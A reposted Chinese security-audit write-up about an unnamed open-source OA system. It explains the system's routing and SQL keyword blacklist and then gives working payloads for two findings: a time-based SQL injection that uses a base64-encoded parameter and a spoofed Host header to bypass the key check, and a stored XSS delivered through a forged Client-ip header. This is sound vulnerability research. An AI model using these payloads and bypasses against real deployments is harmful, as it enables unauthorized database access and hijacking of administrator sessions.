某开源OA系统的审计记录

admin 2024年2月17日00:32:17评论15 views字数 4779阅读15分55秒阅读模式

某开源OA系统的审计记录

对某开源OA参数过滤情况下的审计过程记录

某OA系统的审计记录

0x00 前言

对某开源OA参数过滤情况下的审计过程记录,

0x01 路由

该cms主要是通过mad来确定

某开源OA系统的审计记录

默认是的webadmin目录下,通过dm确定调用哪个文件。当文件位置如果是webadmin/$d/a/bAction.php时,a和b用|分割传入

m=a|b

然后通过与文件名前缀同名类名来初始化类,创建类对象

某开源OA系统的审计记录

创建类对象时会调用父类mainAction__construct方法来初始化

某开源OA系统的审计记录

每个实现类都会实现initAction方法进行初始化操作

最后就是根据参数a来定位类中具体要调用哪个函数处理请求

0x02 前期坑点

审计过程中发现该cms中get()post()获取参数时会对输入进行黑名单检测

public function get($name,$dev='', $lx=0)
{
   $val=$dev;
   if(isset($_GET[$name]))$val=$_GET[$name];
   if($this->isempt($val))$val=$dev;
   return $this->jmuncode($val, $lx, $name);
}

public function post($name,$dev='', $lx=0)
{
$val = '';
if(isset($_POST[$name])){$val=$_POST[$name];}else{if(isset($_GET[$name]))$val=$_GET[$name];}
if($this->isempt($val))$val=$dev;
return $this->jmuncode($val, $lx, $name);
}
public function jmuncode($s, $lx=0, $na='')
{
$jmbo = false;$s = (string)$s;
if($lx==3)$jmbo = $this->isjm($s);
if(substr($s, 0, 7)=='rockjm_' || $lx == 1 || $jmbo){
$s = str_replace('rockjm_', '', $s);
$s = $this->jm->uncrypt($s);
if($lx==1){
$jmbo = $this->isjm($s);
if($jmbo)$s = $this->jm->uncrypt($s);
}
}
if(substr($s, 0, 7)=='basejm_' || $lx==5){
$s = str_replace('basejm_', '', $s);
$s = $this->jm->base64decode($s);
}
$s=str_replace("'", '&#39', $s);
$s=str_replace('%20', '', $s);
if($lx==2)$s=str_replace(array('{','}'), array('[H1]','[H2]'), $s);
$str = strtolower($s);
foreach($this->lvlaras as $v1)if($this->contain($str, $v1)){
$this->debug(''.$na.'《'.$s.'》error:包含非法字符《'.$v1.'》','params_err');
$s = $this->lvlarrep($str, $v1);
$str = $s;
}
$cslv = array('m','a','p','d','ip','web','host','ajaxbool','token','adminid');
if(in_array($na, $cslv))$s = $this->xssrepstr($s);
return $this->reteistrs($s);
}

首先是对单引号和空格做编码和去除操作,紧接着遍历lvlaras数组检测参数

$this->lvlaras  = explode(',','select ,
alter table,delete ,drop ,update ,insert into,load_file,/*,*/,union,<script,</script,sleep(,outfile,eval(,user(,phpinfo(),select*,union%20,sleep%20,select%20,delete%20,drop%20,and%20');

可以看到他这个过滤还是挺全的,所以直接get()post()获取的数据时进行了过滤操作无法做利用。这个时候我们可以找找解密操作请求参数值的操作。

搜索($this->get(

某开源OA系统的审计记录

我们发现有base64decode()uncrypt()这种解密解码函数进行了嵌套,我们对这种有问题的地方进行细化审计,暂且只关注controller层的文件,也就是xxxAction.php。

0x03 SQL注入

openxxClassAction类中

某开源OA系统的审计记录

可以看到该方法通过base64解密nickNameavatarUrl参数,构建了uarr数组,并且传入到$db->record(),感觉这个函数应该会做数据库查询,跟进看看

public function record($arr, $where='')
{
    return $this->db->record($this->table, $arr, $where);
}

其实是调用了mysql.php的record方法

public function record($table,$array,$where='')
{
   $addbool   = true;
   if(!$this->isempt($where))$addbool=false;
   $cont     = '';
   if(is_array($array)){
      foreach($array as $key=>$val){
         $cont.=",`$key`=".$this->toaddval($val)."";
      }
      $cont  = substr($cont,1);
   }else{
      $cont  = $array;
   }
   $table = $this->gettables($table);
   if($addbool){
      $sql="insert into $table set $cont";
   }else{
      $where = $this->getwhere($where);
      $sql="update $table set $cont where $where";
   }
   return $this->tranbegin($sql);
}

将数组键值对依次插入SQL语句插入或是更新数据,我们调用该方法最后的sql语句为

insert into $table set $key = $value ... where `openid`=xxx;   //这里的$value变量即我们传入的$nickName参数值

于是我们构造payload为

/index.php?m=openxxx|openapi&d=xxx&a=data&ajaxbool=0&nickName=MScgYW5kIHNsZWVwKDUpIw==

nickName为编码后的1' and sleep(5)#

某开源OA系统的审计记录

发现延迟并没有生效,并且提示openkey not access。咦~,哪里有问题呢

搜索openkey not access,原来是该类的父类中的initAction()做了判断

某开源OA系统的审计记录

这里需要进行一个openkey的校验,看到24行的if判断,如果HOST为127.0.0.1或者包含”192.168”的话就会跳过这个校验,此处的HOST就是$_SERVER['HTTP_HOST'],也是我们可控的

某开源OA系统的审计记录

我们将请求中host替换为127.0.0.1,成功绕过执行延时。

0x04 存储型xss

审计发现未授权可以访问的接口都是继承自ActionNot,而ActionNot又继承自Action

某开源OA系统的审计记录

可以看到,ActionNot类将大多数xxxAjax方法覆盖为空了,在笔者仔细的检查下,还剩下getoptionAjax方法没有被重写,我们看一下getoptionAjax方法的逻辑。如图

public function getoptionAjax()
{
    $num = $this->get('num');
    $arr = m('option')->getdata($num);
    echo json_encode($arr);
}

主要逻辑是获取num参数然后调用model查询,跟进到getdata

某开源OA系统的审计记录

可以看到,getpids方法中调用了getmou方法,这里$num由于是get方法传递过来的,虽然经过了之前提到get()处理中层层过滤,但是在那几层过滤中,是没有过滤反斜杠()的。

最终调用mysql.php中的query方法执行sql语句

某开源OA系统的审计记录

当我们执行SQL报错时会将错误写入到日志中。当我们构造参入的num最后一位为反斜杠时,SQL语句变为,select xxx from xxx where abc=’’,至此SQL语句出现问题,从而抛出异常,触发debug的addlogs方法,在该cms中,debug是默认被开启的,我们跟进addlogs方法,如图:

某开源OA系统的审计记录

这里的ip是通过getclientip方法获取的,

/**
    *   特殊字符过滤
    */
    public function xssrepstr($str)
    {
        $xpd  = explode(',','(,), ,<,>,\,*,&,%,$,^,[,],{,},!,@,#,",+,?,;'');
        $xpd[]= "n";
        return str_ireplace($xpd, '', $str);
    }

/*
* 获取IP
*/

public function getclientip()
{
$ip = 'unknow';
if(isset($_SERVER['HTTP_CLIENT_IP'])){
$ip = $_SERVER['HTTP_CLIENT_IP'];
}else if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else if(isset($_SERVER['REMOTE_ADDR'])){
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip= htmlspecialchars($this->xssrepstr($ip));
return $ip;
}

IP是可以被伪造的,虽然过滤了空格,但是我们可以使用tab来进行绕过,而xxs语句可以用hex编码写入。这里最大的痛点就是将圆括号给过滤掉了,导致我们无法进行sql注入,

我们跟进insert方法,如图:

public function insert($arr)
{
   $nid = 0;
   if($this->record($arr, ''))$nid = $this->db->insert_id();
   return $nid;
}

这里调用了SQL注入中提到的record函数,用来插入数据

至此,我们可以在log表中插入xss代码,当管理员查看“日志管理”功能时,触发xss

构造payload为

Client-ip: 111',web=0x3c7363726970743e616c65727428273127293c2f7363726970743e    --  '

管理员登录查看日志成功触发xss

某开源OA系统的审计记录

0x05 总结

审计时对请求传参进行过滤可以关注一下对json格式、base64解密等操作请求传参点,可能会出现意想不到的绕过。

文章来源:奇安信攻防社区

链接:https://forum.butian.net/share/2614

作者:Duck

黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!

如侵权请私聊我们删文

END

原文始发于微信公众号(黑白之道):某开源OA系统的审计记录

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月17日00:32:17
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   某开源OA系统的审计记录https://cn-sec.com/archives/2498601.html

发表评论

匿名网友 填写信息